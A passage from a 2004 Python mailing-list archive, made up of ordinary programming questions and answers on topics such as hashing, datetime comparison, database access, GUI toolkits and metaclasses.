<1gkxh3j.a0smmm1ci3o2yN%aleaxit@yahoo.com> mg wrote: ... > Then, my question is : how can I implement a constant variable from the > API in order to the reaffectation (MyModule.NULL = 99) of my variable be > impossible ? With a module (a direct instance of types.ModuleType), you can't -- the module type just doesn't have any functionality to control attribute setting. You can subclass the type to do that, and install an instance of the subclass in sys.modules in the appropriate place... Alex From aleaxit at yahoo.com Sun Sep 19 13:21:50 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 19 Sep 2004 19:21:50 +0200 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> Message-ID: <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> Paul Rubin wrote: ... > The issue here is that Python's behavior confuses the hell out of some > new users. There is a separate area of confusion, that > > a = 2 / 3 > > sets a to 0, and to clear that up, the // operator was introduced and > Python 3.0 will supposedly treat / as floating-point division even > when both operands are integers. That doesn't solve the also very > common confusion that (1.0/3.0)*3.0 = 0.99999999. Rational arithmetic > can solve that. Yes, but applying rational arithmetic by default might slow some computations far too much for beginners' liking! My favourite for Python 3.0 would be to have decimals by default, with special notations to request floats and rationals (say '1/3r' for a rational, '1/3f' for a float, '1/3' or '1/3d' for a decimal with some default parameters such as number of digits). This is because my guess is that most naive users would _expect_ decimals by default... > Yes, with rational arithmetic, it will still be true that > sqrt(5.)**2.0 doesn't quite equal 5, but hardly anyone ever complains > about that. > > And yes, there are languages that can do exact arithmetic on arbitrary > algebraic numbers, but they're normally not used for general-purpose > programming. Well, you can pretty easily use constructive reals with Python, see for example -- that's a vastly vaster set than just algebraic numbers. If we DO want precision, after all, why should sqrt(5) be more important than log(3)? Alex From jjl at pobox.com Thu Sep 23 16:50:21 2004 From: jjl at pobox.com (John J. Lee) Date: 23 Sep 2004 21:50:21 +0100 Subject: Python and Sybase References: Message-ID: <87wtyksoaa.fsf@pobox.com> David Rysdam writes: > What module is most recommended for accessing Sybase from Python? > This one: http://www.object-craft.com.au/projects/sybase/sybase/ ? As far as I know, that's the only one. > Also, is there any module that provides a generic DB API and can be > hooked to both Sybase and postgresql? This > (http://www.python.org/peps/pep-0249.html) looks pretty old. Not a single module -- why would you want one? The DB API (version 2) is the standard. The idea of the DB API is to make it possible to write DB API code that works across multiple database backends. No need at all for a single module, just a single standard. Unfortunately, making this work is not entirely trivial: There are some stupid issues that are the fault of the DB API -- SQL argument substitution syntax in particular -- and some trickier ones -- particularly the variations in the capabilities of DBMSes. If you want your code to work across multiple DBMS backends, you should test it with those DBMSes from the start. Doing it later is possible but may be hard work (made less difficult if you keep your DB code localised). John From sbabbitt at commspeed.net Fri Sep 10 14:12:00 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Fri, 10 Sep 2004 11:12:00 -0700 Subject: Executing system commands with wxpython References: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> Message-ID: <1094840513.775593@news.commspeed.net> "twsnnva" wrote in message news:3dec2e051d82da31c9fe868669e3ce6d at localhost.talkaboutprogramming.com... > Could anyone give me an example (code) of a simple program with a button > that when clicked executes a linux shell or windows dos command like > "ifconfig" or "ipconfig" and prints the output somewhere in the same > window. Thanks. > First , import popen2 In your 'OnButtonEvent' function, tomin, tomout = popen2.popen4( 'ipconfig') ipconfig_text = tomin.read() tomout.close() tomin.close() then you can put the results into your window of choice. Tom P.S. Try it out by using the new modifiable demo. From aleaxit at yahoo.com Thu Sep 9 03:28:32 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 09:28:32 +0200 Subject: Set and {} comparison confusion References: Message-ID: <1gju9e7.3exo4xy4ku00N%aleaxit@yahoo.com> Roman Yakovenko wrote: > Hi. Could somebody explain why sets and dict are different ? sets.Set is build around dict, so let's concentrate on dict, the set just follows from there. > > from sets import Set as set > > class A(object): > def __init__( self, x ): > self.x = x > def __eq__( self, other ): > return self.__dict__ == other.__dict__ This class is NOT correctly hashable. A crucial semantic condition for hashing is: X==Y ***MUST imply*** hash(X)==hash(Y) But this is not ensured by this class A. For example, as you've noticed all A(1) instances compare equal to each other: > print 'A(1) == A(1)', A(1) == A(1) and yet their hashes are all different (and happen to equal their id's, since you have not overridden __hash__): xx = [] for i in xrange(4): xx.append(A(1)) print hash(xx[-1]) emits, e.g.: 255856 256752 359376 357840 ((note we're careful to keep the A(1)'s around, otherwise, if one had been garbage collected the next one might happen to be allocated just at the same place, thus accidentally have the same id...)). As you are violating a semantic precondition of dict (that it be only keyed into by _validly_ hashable keys), don't be surprised if the behavior of such dicts is weird. You can imagine equality comparison starts by checking equality of hash values for keys to bail out fast in most cases, here the hash values are different, so, poof. Not easy to make that class A _correctly_ hashable, either (and it really should be immutable too). Assuming self.x is always hashable and nobody ever reassigns it nor assigns any other attribute, you could try adding something like...: def __hash__(self): return hash(tuple(self.__dict__.iteritems())) Alex From mensanator at aol.compost Sat Sep 4 17:48:01 2004 From: mensanator at aol.compost (Mensanator) Date: 04 Sep 2004 21:48:01 GMT Subject: Dbase Connection References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> Message-ID: <20040904174801.07582.00000186@mb-m11.aol.com> >Subject: Dbase Connection >From: "Stan Cook" scook at elp.rr.com >Date: 9/4/2004 3:38 PM Central Daylight Time >Message-id: <3Jp_c.15967$Xi.2705 at fe1.texas.rr.com> > >Does anyone know how or what I can use to open, read and extract data from a >dbase database? I haven't found anything of much use with accompanying >documentation. Excel will open .dbf files. -- Mensanator Ace of Clubs From mcfletch at rogers.com Wed Sep 22 14:00:53 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Wed, 22 Sep 2004 14:00:53 -0400 Subject: An attempt to use a python-based mini declarative language for form definition In-Reply-To: <864d3709040922103690a00e@mail.gmail.com> References: <864d3709040922103690a00e@mail.gmail.com> Message-ID: <4151BDD5.7080108@rogers.com> This is just a sketch, you should do the code properly... class BaseWidget: counter = 0 def __init__( self ): BaseWidget.counter += 1 self.__id = BaseWidget.counter def __cmp__( self, other ): return cmp( self.id , other.id ) class TextBox( BaseWidget ): pass Make it thread safe, elegant, fully-comparable, etceteras, then just sort the list of widgets you get for any given instance of Form. Isn't precisely defined as the order they appear in the definition (they could be created elsewhere and included), but short of just putting them in a list-attribute and injecting them in the class with the metaclass (which is what I'd do), looks like a pretty good bet. HTH, Mike Carlos Ribeiro wrote: ... >-- I've tried using metaclasses or other similar magic; I've read the >tutorials, tried some code, and read sqlobject own implementation. >This is not a problem for sqlobject, because the order of the columns >in the database is totally isolated from the object representation. >But in my case, it is a problem, because I need the fields to be in >the correct order in the display. > >My question is, there is any way to retrieve the class attributes in >the order they were declared? I could not find any; __setattr__ won't >work because the dict is constructed using the native dict type before >__new__ has a chance at it. Is there anything that I'm overlooking? > > ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From mauriceling at acm.org Tue Sep 7 05:43:52 2004 From: mauriceling at acm.org (Maurice LING) Date: Tue, 07 Sep 2004 09:43:52 GMT Subject: Automated Perl to Python translation? In-Reply-To: References: Message-ID: <413d82d3$1@news.unimelb.edu.au> Stephen Ferg wrote: > I need to translate some Perl scripts into Python. > > When I went looking for a tool that would help automate the > translation, I was rather surprised that I couldn't find anything. > BridgeKeeper, the only real candidate that I could find, is no longer > available. There are of course general-purpose parsing packages, but > I'm looking for something target specifically to Perl-to-Python > translation. > > Since I couldn't find anything, I've started to write my own. > Preliminary results are good, but before I spend any more time on it I > want to be really sure that I'm not re-inventing the wheel. > > Does anybody know of any tools to automate (or assist) Perl to Python > translation? This is a great feat of worth I'll say. I remembered reading somewhere that Jython uses JavaCC, so perhaps looking in that direction can be of some help. PLY is one of the pure python lex/yacc system I can find. There is also SPARK, but John Aycock had left the university. PLY is partially based on SPARK. If this can be worked out, Perl/Python/Java combination is too powerful to imagine...... Maurice From mark at prothon.org Wed Sep 1 15:59:20 2004 From: mark at prothon.org (Mark Hahn) Date: Wed, 1 Sep 2004 12:59:20 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <7Y2dncuabfymLajcRVn-gw@powergate.ca> Message-ID: <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> On Wed, 01 Sep 2004 07:19:21 -0400, Peter Hansen wrote: > Mark Hahn wrote: > >> It turns out that I missed a sourceforge project called PyCs so we will be >> changing our name soon. Our current best guess is Pyxc pronounced Pixie. > > http://pyxie.sourceforge.net/ > > Best to avoid homonyms too, I think. Try again. I see no problem with homonyms, unless it was another computer language. From sizelji at insightbb.com Tue Sep 28 17:47:32 2004 From: sizelji at insightbb.com (Jim Sizelove) Date: Tue, 28 Sep 2004 21:47:32 GMT Subject: all pairs of items in a list without indexing? In-Reply-To: References: Message-ID: Steven Bethard wrote: > So I need to do something like: > > for i in range(len(l)): > for j in range(i+1, len(l)): > # do something with (l[i], l[j]) > > where I get all pairs of items in a list (where I'm thinking of pairs > as sets, not tuples, so order doesn't matter). There isn't really > anything wrong with the solution here, but since Python's for-each > construction is so nice, I usually try to avoid range(len(..)) type > calls and list indexing when I can... Is there any way to do this > without indexing Are you trying to pair each item in a list with every other item exactly once? Maybe this code does what you want: while len(L)>0: item1 = L.pop() for item2 in L: print (item1, item2) pop() removes one item from the list. The inner for loop matches that item with each of the remaining items. At the end of the outer loop the list L is empty; you may want to run this loop over a copy of the list if you want to do other things with the list later. HTH, Jim From remy.blank_asps at pobox.com Thu Sep 23 11:11:32 2004 From: remy.blank_asps at pobox.com (Remy Blank) Date: Thu, 23 Sep 2004 17:11:32 +0200 Subject: unittest: new reporting category "skipped" In-Reply-To: References: Message-ID: Roy Smith wrote: > Having just completed a project which required testing as root, I can > sympathize with you completely! If at all possible, try to avoid > getting painted into that particular corner. > > Is it possible that by building the appropriate test scaffolding, you > could run the tests as a normal user? For example, let's say the reason > you need to be root is because you are reading a file which is mode 600. > You could then do something like this: (snip) > It's not always possible or practical to do that, but it's worth > thinking about. Yes, well, the whole idea of my project (which I'll call mockfs) is to provide a framework to do exactly that. However, for it to be useful, it has to behave as closely as possible as an original filesystem. So the idea was to write a test suite that can be run either on the real filesystem (in a chroot environment), or on the mock filesystem. Both should pass identically. And for running it on the real filesystem, well, you need to be root for some tests. -- Remy Remove underscore and suffix in reply address for a timely response. From donnal at donnal.net Tue Sep 14 18:00:35 2004 From: donnal at donnal.net (Donnal Walter) Date: Tue, 14 Sep 2004 17:00:35 -0500 Subject: comparing datetime with date In-Reply-To: <_YadnaNopM35ztrcRVn-gg@powergate.ca> References: <_YadnaNopM35ztrcRVn-gg@powergate.ca> Message-ID: Peter Hansen wrote: > Diez B. Roggisch wrote: > >> Donnal Walter wrote: >> >>> How can these two objects be considered equal? Is there a *general* way >>> to test for date != datetime as well as 4.5 != 4.6? >> >> >> Try making a datetime-object from your date, with zeros for the time >> part - >> then you'll get what you want. > > > While trying to provide my first answer, I thought of suggesting > this, but there doesn't appear to be a simple way of doing it. > It looked like the following was the best I could do (where 'x' > is a datetime.date object): > > z = datetime.datetime(x.year, x.month, x.day) > > I just found timetuple(), which means this could be written > in the awful form: > > z = datetime.datetime(*x.timetuple()[:3]) > > but that's hardly better, and definitely more inscrutable. > > To answer Donnal's question above, however, it appears this > might be a reasonable approach: > > >>> x.timetuple() == y.timetuple() > False > > Not sure there's a better approach readily available. > > -Peter Thanks for the suggestions. I have decided *not* to store date/datetime objects, but rather store the corresponding time tuples: 3-tuple for date only, and 5- or 6-tuple for date and time, depending on whether or not seconds are given). Then the following method notifies observers if a simple date is changed to the date with time (just like number changes and string changes). def set(self, value): if value != self._state: # now this works! self._state = value self.notify_observers(self) This means, of course, that if an observer wants to calculate a TimeDelta, the corresponding datetimes have to be constructed, but I don't think this is too inefficient. time1 = datetime.datetime(*time1.get()) # 3-, 5-, or 6-tuple time2 = datetime.datetime(*time2.get()) tdelta = time2 - time1 The observer object (and user) would need to understand the loss of precision when times are not actually given, but at least the relevant methods work regardless. Thanks again, Donnal Walter Arkansas Children's Hospital From newsgroups at jhrothjr.com Wed Sep 22 16:18:50 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Wed, 22 Sep 2004 15:18:50 -0500 Subject: detecting variable types References: Message-ID: <10l3nhcl8nacs67@news.supernews.com> "Jay" wrote in message news:ciskpq$7f2$1 at news-int.gatech.edu... > Thanks, Peter. > > Here's what I'm trying to do: > > I have a function like this: > > def func(**params): > > # if params[key1] is a single string > # do something with params[key1] > > # if params[key1] is a list of strings > for val in params[key1]: > # do something > > Could you suggest a better way to do this without detecting the type? I'd strongly suggest making the value of "key1" a list in all cases, including the case where there is no value: that is, an empty list. It makes your processing logic a lot simpler, and even if you can't make the caller do it that way, the function/method to preprocess is fairly simple (and also takes care of the "key not found" case.) John Roth > > > Jay. > > > "Peter Hansen" wrote in message > news:Y-WdnWCkPIytTszcRVn-vQ at powergate.ca... >> Jay wrote: >> > I'm sure this is a really dumb question, but how do you detect a > variable >> > type in Python? >> > >> > For example, I want to know if the variable "a" is a list of strings or > a >> > single string. How do I do this? >> >> Use the builtin function "type()", but note the following: >> >> 1. Variables don't actually have types in Python (and they're usually >> called "names" in Python, for various reasons), but the data they are >> currently bound to does have a type and that's what type() returns. >> Often the distinction won't matter to you... >> >> 2. Most of the time people trying to do what you are probably trying >> to do are going about things the wrong way, often from experience >> with other languages. Lots of Python folks would be happy to introduce >> you to "better" ways to do things, if you'll explain the use case >> and tell us what you're actually trying to accomplish. (Of course, >> using "type()" will work, but it's rarely considered the best >> approach in the Python community.) >> >> -Peter > > From peter at engcorp.com Tue Sep 14 16:17:11 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 16:17:11 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <7LudnZweyKXOoNrcRVn-sw@adelphia.com> References: <656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com> Message-ID: Rob McCrea wrote: > Thomas Heller wrote: >> If you work on Windows, you should really, really, really upgrade to >> win2k, at least - even if it costs some performance on your machine. >> >> You can even *use* the 'dos-box' then ;-). > > In my not-at-all-humble-but-very-honest opinion, that's the worst > suggestion I've heard in this topic. As Thomas is, I'm very curious why you would say that. And I wonder if you would say that if you replaced 2K with XP, or whether you are just against anyone switching from 98 to something better *if they have to work with Windows* as Thomas clearly qualified the point. For the record, switching from 98 to XP has been an incredibly helpful upgrade in my own case, and I can't think why you would make the comment you made. -Peter From M.Waack at gmx.de Tue Sep 28 15:15:09 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Tue, 28 Sep 2004 21:15:09 +0200 Subject: Oracle Access via cx_Oracle References: Message-ID: Greg Lindstrom wrote: >>Does SQL*Plus work to get at the database? >>Paul > > Yes, I can hit the Oracle database on the remote (posix) machine > with > SQL*Plus running on my Windows box. Does that help me out? I think no. The question Paul asked was: can you connect to the database with sql*plus in the same environment used by your python script? If not - what error gives sql*plus? Mathias From ivoras at __-geri.cc.fer.hr Thu Sep 16 11:12:26 2004 From: ivoras at __-geri.cc.fer.hr (Ivan Voras) Date: Thu, 16 Sep 2004 17:12:26 +0200 Subject: Rotating lists? In-Reply-To: References: Message-ID: Raymond Hettinger wrote: > > For earlier Pythons, concatenate list slices: a[1:] + a[:1] ^^^^^ That's what I missed :) I should've thought of that :) Thanks! From ialbert at mailblocks.com Thu Sep 9 15:29:08 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 09 Sep 2004 15:29:08 -0400 Subject: Is except: ... pass bad style? In-Reply-To: References: Message-ID: marduk wrote: > try: > # call optional method > myobj.method() > except AttributeError: > # no biggie > pass > > > Occasionally I use pylint, which is a good tool, but in the above > snippet pylint will complain that 'Except doesn't do anything'. True, > but is that bad style? I personally don't like this, not because of pylint but because it feels like using the wrong solution for the problem. You could create a base class that has a method that does nothing and have all your objects inherit from that. This solution does properly communicate that the method is optional. Not to mention that you need to repeat the whole thing if used again in a different circumstance. Plus something could go wrong inside existing methods and you'd never know about it. Why risk all that? Istvan. From thomas.weholt at gmail.com Wed Sep 15 08:30:36 2004 From: thomas.weholt at gmail.com (Thomas Weholt) Date: 15 Sep 2004 05:30:36 -0700 Subject: Broadcast Message-ID: Posted somewthing about a xmlrpc-webserver with multicast capabilities, but I've solved all but the thing I've now learned is called broadcast, not multicast. I need a simple way of sending packets to local subnet and getting results from active servers. The mcast.py in the demo-folder of the distro didn't do it for me, so if anybody has another example I'd be very grateful. From foo at bar.com Wed Sep 29 20:41:18 2004 From: foo at bar.com (Steve Menard) Date: Wed, 29 Sep 2004 20:41:18 -0400 Subject: Calling (C)Python code from Java: Is it JPype? In-Reply-To: References: Message-ID: <1DI6d.223$j5.307837@weber.videotron.net> F. GEIGER wrote: > I've dev'ed a Python prototype of an app, that besides the internals making > it up has a gui. While test-driven dev'ing the app's internals in Python is > fun as usual, dev'ing the GUI is not so funny, at least for me. > > I guess dev'ing a GUI in a test-driven way is not possible, or is it? I'm > using wxPython, so if anyone has an idea... > > For now most of the time I extend and change the gui things, then run it, do > the clicks to go thru the new things and - bang: Missing attribute bla bla > bla or an error like that. Yes, I use Pychecker, but it isn't of real help > in gui dev'ing (at least in my GUIs ;-)). > > So, a compiler could ease things a bit here. While I want the complicated > stuff remaining written in Python, I'd write the GUI things in Java. Java, > because I plan to run the app on Linux too (dev'ing on Windows for now). > Otherwise *.NET could be an option (well, perhaps I should look at Mono). > > Now, if I go the Java route, how can I call my Python stuff from Java, if I > do not want to use Jython, which lags behind CPython 3 minor versions (2.1. > vs. 2.4)? Google showed up JPype, but this seems to enable me the other way > round: Call Java code from CPython. Or are there any plans to make this > possible the other way round too? > > Any other options here? > > Many thanks in advance > Franz GEIGER > Well, lemme see how you can have you cake and eat it too :) Right now, JPype does not allow you to call Python code "as is". Besides, adaptic a static language like java to a dynamic language like python is "easy". Going the other way is ... impossible. What JPype allows you to do is use Java classes as though they were regular Python classes. This includes Standard java classes as well as classes you've written youself. Somewhere in the back of my head there are plans to make python classes available to Java. The goal though wil be to be able to make use of the many frameworks availabel in the Java worlds, be it server technologies like servlets and EJBs, or client-side stuff like Eclipse. Aside form that, your problem is exactly one of the problems that incited me to write JPype. Python GUI toolkits just seem, to my java-trained mind, too hard to use. So, what I would do is have Python be the "host", the controller, calling the JAVA-built GUI and registering listeners. JPype does not allow subclassing of Java classes in python, but you can crerate JProxy that "implement" any Java interface. The standard idiom for Java event and callbacks is based on the use of interfaces anyway. In fact, baring the very rare cases where Swing requires subclasses, you could crerate your whole GUI using Swing and not writing a single line of Java. Hopefully this answers your question. IF you have any, feel free to contact me through sourceforge. Steve From bgabriel at cloudthunder.com Thu Sep 30 10:42:25 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Thu, 30 Sep 2004 10:42:25 -0400 Subject: Social Analysis and Modeling for Python In-Reply-To: References: <415AD6A4.7000400@cloudthunder.com> <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it> Message-ID: <415C1B51.7070605@cloudthunder.com> Cameron Laird wrote: >In article , >Bishara Gabriel wrote: > > >>Latest Revision of Social Analysis and Modeling in Python: >>http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf >> >> > >Recognition of SimPy greatly comforts me. > > > Glad to hear it. That was Tim's fantastic suggestion. >Is your thesis that OOP is good for social sciences in contrast to other >sciences, or as with other sciences? If the latter--as I believe--than you >need to alert readers to Python's existing record of success in serving the >sciences (see, for example, the recent SciPy Conference). > > > Not in contrast, no. Excellent suggestions, we shall incorporate them immediately. >I don't like formulations such as "one-to-one correlation between their >theoretical model and the Python equivalent." It says both too little and >too much. If this were my proposal, I'd aim for the far more powerful, >"this project demonstrates Python's suitability as a vehicle which >simultaneously expresses a theoretical model in a way researchers >understand, and calculates the consequences of that model with a speed >and reliability humans don't match." > > > Noted, you can expect the modification to be made immediately. >Do you realize how ambitious your "Proposal Specifics" sound? How many >hours do you estimate these seven achievements will require? What are >the "loadings" of your Project Manager and Chief Consultant? > > > The majority of the work will be carried out by the project manager (I) and a team of 10 interested and well skilled students. Ambitious our project is indeed, yet we are confident in our abilities. >For you, is "theoretical economics" inherently and comprehensively >Marxian, or are you claiming expertise only in that part of it which is >Marxian? > > I do not attempt to conflate theoretical economics with Marxism. Indeed, Marxian class analysis will be our entry-point because it is an area of particular expertise and thus allows for us to add to that realm in an immensely significant manner. As our tools and materials intend to reflect the broad applicability of Python in the social science we will work with academics in those other fields to insure support for the specifics their research. From carribeiro at gmail.com Fri Sep 24 10:01:49 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 11:01:49 -0300 Subject: up with PyGUI! In-Reply-To: <2rhjmpF1at3kjU1@uni-berlin.de> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> Message-ID: <864d3709040924070115d9d98a@mail.gmail.com> On Fri, 24 Sep 2004 15:47:33 +1200, Greg Ewing wrote: > For a while now I've been wondering whether Python could > benefit from an "instance" statement that works similarly > to a class statement but creates instances instead of > classes. I've done something like you want using metaclasses. I've posted it as another thread, it was a "Call for suggestions". As you may see, I'm still looking for more people to work with me on this solution :-) Basically what it does is to process declarations like this: class MainFrame(FrameDescription): class b1(ButtonDescription): size = (40, 40) text = "b1" ... where FrameDescription and ButtonDescription are both derived from a base Container class. When constructed, the MainFrame will contain an **instance** called b1 from the class b1 (that's right, the same name; the temporary class definition is gone). The metaclass creation engine also respects the order of the declaration. The orderd list is stored as a _fields member; in the case above, _fields[0] is size, and _fields[1] is text. Note that the hash used to store attributes that is passed to the metaclass can't work this magic alone. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Tue Sep 7 05:42:41 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 11:42:41 +0200 Subject: docs on for-loop with no __iter__? References: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> Message-ID: <1gjqqqq.vwwagy6s9l3fN%aleaxit@yahoo.com> Just wrote: > In article , > Steven Bethard wrote: > > > It would have made describing the protocol somewhat more complex, but it > > would > > have made using the protocol in a class simpler. Moot point of course, since > > I'm fully convinced that changing the protocol is infeasible. =) > > Why on earth would you want to improve a protocol that's only there for > legacy reasons, and has been replaced by something vastly better? I think he wants to understand more than he actually wants any change. Sometimes it helps to understand X to consider what alternatives there could be to X, even though it's not practically feasible to implement such alternatives. At first I had a reaction quite similar to yours, but I am currently holding this working hypothesis -- that it's about understanding more than anything else. And I do believe that understanding why that now-obsolete protocol was indeed optimal, most Pythonic, in its time, can enhance one's understanding of what Pythonic means. Of course, you're unfairly and genetically advantaged in that understanding, but most of us have to work for it!-) Alex From thomas.krueger at gmx.net Wed Sep 1 09:45:55 2004 From: thomas.krueger at gmx.net (Thomas =?ISO-8859-1?Q?Kr=FCger?=) Date: Wed, 01 Sep 2004 15:45:55 +0200 Subject: Python cannot use SMTP... References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> Message-ID: JZ wrote: > smtplib.SMTPConnectError: (-1, "onnect: failed to connect to database: > Error: Access denied for user: 'admin at localhost' (Using password: YES)") That a MySQL error. I don't kwon how you made this error apear in your STMP connection, I can only guess: Does your STMP server any MySQL authentication? Are you running MySQL on port 25? Maybe the right of your mail log and a the result of "netstat -nlp -A inet" would help us to find the problem. Thomas From pm_mon at yahoo.com Thu Sep 2 15:12:12 2004 From: pm_mon at yahoo.com (Paul Morrow) Date: Thu, 02 Sep 2004 15:12:12 -0400 Subject: Are decorators really that different from metaclasses... In-Reply-To: <20040902134641.GE24397@unpythonic.net> References: <20040902024221.GA3626@unpythonic.net> <20040902134641.GE24397@unpythonic.net> Message-ID: Jeff Epler wrote: > On Thu, Sep 02, 2004 at 07:03:50AM -0400, Paul Morrow wrote: > >>>You also add a new constraint not expressible directly in the Grammar >>>file. >> >>It would be easy to write a BNF expression that states that the optional >>docstring is followed by 0+ assignments to magic variables. So what are >>you referring to here? > > > Please show me the Grammar rule you have in mind. Here's the relevant > part of the current Grammar file, for reference: > > funcdef: [decorators] 'def' NAME parameters ':' suite > suite: simple_stmt | NEWLINE INDENT stmt+ DEDENT > ... (simple_stmt and stmt both include expr_stmt as an alternative) > expr_stmt: testlist (augassign testlist | ('=' testlist)*) > Something like this. Now I'm not sure where you got that grammar text, but working from the one at http://docs.python.org/ref/grammar.txt I'd do funcdef ::= "def" funcname "(" [parameter_list] ")" ":" funcsuite funcsuite ::= [oneline_funcdecl] stmt_list NEWLINE | NEWLINE INDENT [multiline_funcdecl] statement+ DEDENT magic_identifier ::= "__" (letter|digit) (letter|digit|"_")* "__" multiline_docstring ::= stringliteral NEWLINE multiline_funcdecl ::= [multiline_docstring] multiline_property_setting* multiline_property_setting ::= magic_identifier "=" expression NEWLINE oneline_docstring ::= stringliteral ";" oneline_funcdecl ::= [oneline_docstring] oneline_property_setting* oneline_property_setting ::= magic_identifier "=" expression ";" Note that I'm calling the assignments to magic variables 'property settings' and a function's docstring plus it's property settings would constitute the function's declaration (funcdecl). The BNF nonterminals that start with 'oneline_' all appear on the same line, separated by a semi-colon. Those that start with 'multiline_' all appear on separate lines. Also note that the definition of 'suite' you posted doesn't show the constraint that a docstring can only be a string literal. For that matter it doesn't even formally recognize a docstring as a special component of the function suite. > [1] __*__ > System-defined names. These names are defined by the interpreter and > it's implementation (including the standard library); applications > should not expect to define additional names using this convention. > The set of names of this class defined by Python may be extended in > future versions. See section 3.3, ``Special method names.'' > -- http://docs.python.org/ref/id-classes.html > > My function attribute was not system-defined, but > application-defined. > But according to your footnote, you're not permitted to define such names: "applications should not expect to define additional names using this convention." So it seems that if you technically aren't free to use that syntax for your own local variables, then only functions that used technically 'illegal' names would be affected. Paul From zarrok at gmail.com Tue Sep 28 05:15:07 2004 From: zarrok at gmail.com (Bogdan Sumanariu) Date: Tue, 28 Sep 2004 12:15:07 +0300 Subject: A good IDE for Python In-Reply-To: References: Message-ID: On Tue, 28 Sep 2004 09:15:21 +0200, Hellas wrote: > Hello Guy > I'm newbie of this program language so I need an software that it cans to > help me to write correctly all key words like an IDE for Visual Basic > integrated on the office's packet > excuse me for my bad english > > Thanks a lot who it helps me > > -- > http://mail.python.org/mailman/listinfo/python-list > A good open source IDE is eric3 http://www.die-offenbachs.de/detlev/eric3.html From elbertlev at hotmail.com Tue Sep 28 12:56:13 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 28 Sep 2004 09:56:13 -0700 Subject: annoying behavior Message-ID: <9418be08.0409280856.9368ddf@posting.google.com> # here is the problem I ran into: class foo: def __init__(self, host): self.f() self.r = True def f(self): if self.r: # pass else: # pass f = foo("1234") #here is the output: #Traceback (most recent call last): # File "G:\MyProjects\Python\Little\inconv.py", line 16, in ? # f = foo("1234") # File "G:\MyProjects\Python\Little\inconv.py", line 5, in __init__ # self.f() # File "G:\MyProjects\Python\Little\inconv.py", line 9, in f # if self.r: #AttributeError: foo instance has no attribute 'r' # I understand why does this happen, but, to tell the truth, # this feature is very annoying. # Are there any plans to relax this restriction? # In 3.0 :)? From winexpert at hotmail.com Mon Sep 20 11:03:45 2004 From: winexpert at hotmail.com (David Stockwell) Date: Mon, 20 Sep 2004 15:03:45 +0000 Subject: Calculating days using Business Days for the Calendar Message-ID: I''m wondering if the Calendar object has an option to only do calculations based on business days (ie M-F). Additionally does it have a way to get holidays into itself? Currently I'm considering converting my calculations over to business days and am wondering if there is anything built-in. I've tried searching but so far haven't seen such a thing built in. I'm thinking I'm just going to have to bite the bullet and create my own approach to 1) figure out the day of the week of my starting date (Calendar.weekday() should do the trick) 2) determine the number of days up to my finish date (i do that now) 3) determine the number of non-business days (weekends + holidays) 4) subtract off the number in #3 from #2 David ------- Surf a wave to the future with a free tracfone http://cellphone.duneram.com/index.html _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar ? get it now! http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ From lkirsh at cs.ubc.ca Tue Sep 14 06:24:21 2004 From: lkirsh at cs.ubc.ca (Lowell Kirsh) Date: Tue, 14 Sep 2004 03:24:21 -0700 Subject: directories problem In-Reply-To: <_66dnRiFcJCGxNvcRVn-pA@powergate.ca> References: <_66dnRiFcJCGxNvcRVn-pA@powergate.ca> Message-ID: Thanks Peter! I'm eager to try this out. It seems like a much cleaner solution than all the other options I've been considering. Lowell Peter Hansen wrote: > Dan Perl wrote: > >> I'm not sure whether this is what Lowell is looking for, but I've been >> looking at a similar problem and I would also like to see a solution >> for that: can a python script know its own full path name? > > > See near the end of this thread: > http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com > > > Also note that scripts other than the main one can do it even more > easily: __file__, or if that's not always an absolute path, > os.path.abspath(__file__). > > -Peter From dperl at rogers.com Thu Sep 2 17:50:12 2004 From: dperl at rogers.com (Dan Perl) Date: Thu, 02 Sep 2004 21:50:12 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> 